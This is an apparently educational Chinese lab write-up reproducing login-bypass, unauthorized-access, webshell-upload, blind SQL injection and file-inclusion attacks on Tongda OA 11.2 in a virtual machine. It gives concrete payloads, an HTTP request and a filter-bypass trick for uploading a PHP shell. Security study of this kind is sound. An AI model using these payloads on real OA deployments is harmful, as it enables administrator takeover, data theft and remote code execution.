以通达OA系统11.2版本为案例的Web渗透
- 1. 渗透背景:
- 2. 存在漏洞
- 3. 漏洞复现
- 3.1 前台任意用户登录漏洞
- 3.1.1 漏洞原理:
- 3.1.2 手工抓包复现:
- 3.1.3 POC自动获取复现:
- 3.2 前台未授权访问漏洞
- 3.3 管理后台文件上传漏洞
- 3.4 后台SQL注入漏洞
- 3.5 文件包含getshell
- 4. 总结
1. 渗透背景:
目标站点:VM虚拟机
O A 版本:通达OA系统11.2
目标系统:Windows server 2008 R2 SP1
威胁等级:高危
渗透工具:BurpSuite pro、SeayDzend、TongDaOA-Fake-User、PHPstorm、蚁剑、VMware
2. 存在漏洞
- 前台任意用户登录漏洞
- 前台未授权访问漏洞
- 管理后台文件上传漏洞
- 后台SQL注入漏洞
- 文件包含getshell
3. 漏洞复现
3.1 前台任意用户登录漏洞
3.1.1 漏洞原理:
根据网友提供的POC的代码分析,该漏洞涉及的文件包含以下四个文件:
/ispirit/login_code.php
、/ispirit/login_code_check.php
、/general/login_code_scan.php
、/general/index.php
通达OA源码使用zend5
加密,利用解密工具SeayDzend解密上述四个文件后分析源码。
-
/ispirit/login_code.php
:
该文件用来获取codeuid
参数,如果不存在,则会自动生成一个codeuid
,并且将其写入CODE_LOGIN_PC
缓存中(通达OA使用了缓存系统Redis,同时也提供了对缓存的使用方法),但是在18行位置将这个参数显示出来,导致用户可以获取这个参数的值,从而可以绕过后面的验证。 -
/general/login_code_scan.php
:
在这一文件中,用户可以控制输入的关键参数uid
,在存在漏洞的通达OA版本中,后台数据库里uid
对应的用户是admin
管理员账户。并且将该数据存储在CODE_INFO_PC
缓存中,因为我们在第一个文件中获取的codeuid
存储在CODE_LOGIN_PC
中,所以这里在复现时需要指明source
变量为pc
,这里的username
则为admin
,而type
变量需要指明为confirm
。 -
/ispirit/login_code_check.php
:
这里使用之前存储的两个缓存中的内容,一个用来获取codeuid
,一个用来获取通过Post
传入的uid
等关键信息。
这里是最为关键的位置,代码获取用户可控的参数uid
,并依次作为依据直接带入数据库进行查询。
随后将查询的信息直接写入session
中,通过这一步,session
中包含的就是管理员的身份信息。
3.1.2 手工抓包复现:
-
抓首页的包进行更改,访问
/ispirit/login_code.php
,通过返回包获取codeuid
-
使用
POST
方式访问/general/login_code_scan.php
,提交相关参数,其中codeuid
改为上一步中返回的值。payload:
uid=1&codeuid={your-codeuid}&type=confirm&source=pc&username=admin
- 1
-
使用
GET
方式访问/ispirit/login_code_check.php
,传入关键参数codeuid
,让后台进行代入查询,并返回携带管理员身份信息的凭证。
-
经过这步后客户端已经拥有了管理员的身份信息,直接访问OA主页,放行如下数据包以及后续的数据包(后续数据包内容大概为管理页面的其他内容),成功以管理员身份登录OA系统。
3.1.3 POC自动获取复现:
-
在python环境下运行POC,返回
cookie
(POC来自Github:https://github.com/NS-Sp4ce/TongDaOA-Fake-User)
-
替换浏览器存储的
cookie
,访问http://your-ip/general/
成功以管理员身份登录OA系统。
未更改cookie前:
更改cookie后:
3.2 前台未授权访问漏洞
备注:需要后台有账户在线时使用
- 访问
http://your-ip/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
,此时出现RELOGIN
,说明目前没有人在线,需要等待有人登录的时候再尝试。
- 在虚拟机通达后台登录管理员账号,再次尝试,此时出现空白页面,说明已经获得权限。
- 再次访问
http://your-ip/general/
,成功进入系统。
3.3 管理后台文件上传漏洞
-
登录后台后,在“系统管理 → 系统参数设置 → OA服务设置”,找到Webroot目录
-
点击
系统管理 → 附件管理 → 添加存储目录
,在此重新设置上传附件存储目录(原先默认的路径在MYOA -> attach
,不在网站目录MYOA -> webroot
下)注:
此处的更改上传文件路径选项在通达OA11.2的版本下可以,11.4版本中不能如此设置,因为这个路径被识别为敏感路径。
-
选择
组织 → 管理员 → 附件上传
,经测试,此处上传“php、php5、phtml”等后缀会被过滤,此时上传TXT 文件是成功的。抓包查看返回值。
-
根据返回的结果,拼接文件路径,
http://your-ip/im/2106/704995893.shell.txt
在虚拟机中查看该目录,上传成功
-
利用windows系统会自动去掉符号“点”,上传
shell.php.
文件进行绕过
-
根据返回的结果,拼接文件路径:
http://your-ip/im/2106/shell.php
,蚁剑连接,成功getshell
3.4 后台SQL注入漏洞
备注:复现此漏洞需先通过上述操作登录OA管理后台,此时为admin权限但无数据库操作权限,此时存在SQL注入漏洞。
-
此漏洞存在于
/general/appbuilder/web/calendar/calendarlist/getcallist
目录,该点存在盲注。(sqlmap未复现成功)
问题关键参数:starttime=12&endtime=15&view=month&condition=1
payload:starttime=12&endtime=15&view=month&condition=1 starttime=AND (SELECT[RANDNUM]FROM(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1
- 1
- 2
-
Request包
POST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: KEY_RANDOMDATA=1408; PHPSESSID=94jsta5nnj7ops79s11ji3v3s6 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 197
starttime=12&endtime=15&view=month&condition=1
starttime=AND (SELECT[RANDNUM]FROM(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])—&endtime=1598918400&view=month&condition=1
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
爆出部分信息:
3.5 文件包含getshell
- Goby扫描目标站点,爆出通达文件包含getshell,进行验证,goby自动完成Webshell上传。
- 蚁剑连接shell成功验证。
4. 总结
针对本次实验复现的通达OA漏洞,解决方法为:尽快更新OA版本,及时打系统补丁。不过除了11.2版本外,此漏洞可能存在于其他版本中,可能也许只是漏洞代码的存放路径改变了,大神可自行分析(小弟我太白,现在真不会审计🤡)。后续版本也有许多其他问题,可能存在多版本也可能只有当前版本,等我有时间的时候再做做看吧(主要现在有些懒😢)
本次实验复现了通达OA其中一个版本的漏洞,目的仅是用于学习渗透测试的思路以及部分方法。实验环境完全由自己搭建在虚拟机环境下,自己搭建自己复现,没有任何现实中的操作!
(敲黑板!!!)
此篇仅供技术交流学习,请勿用于任何现实网络环境的破坏!做一个遵纪守法的好公民!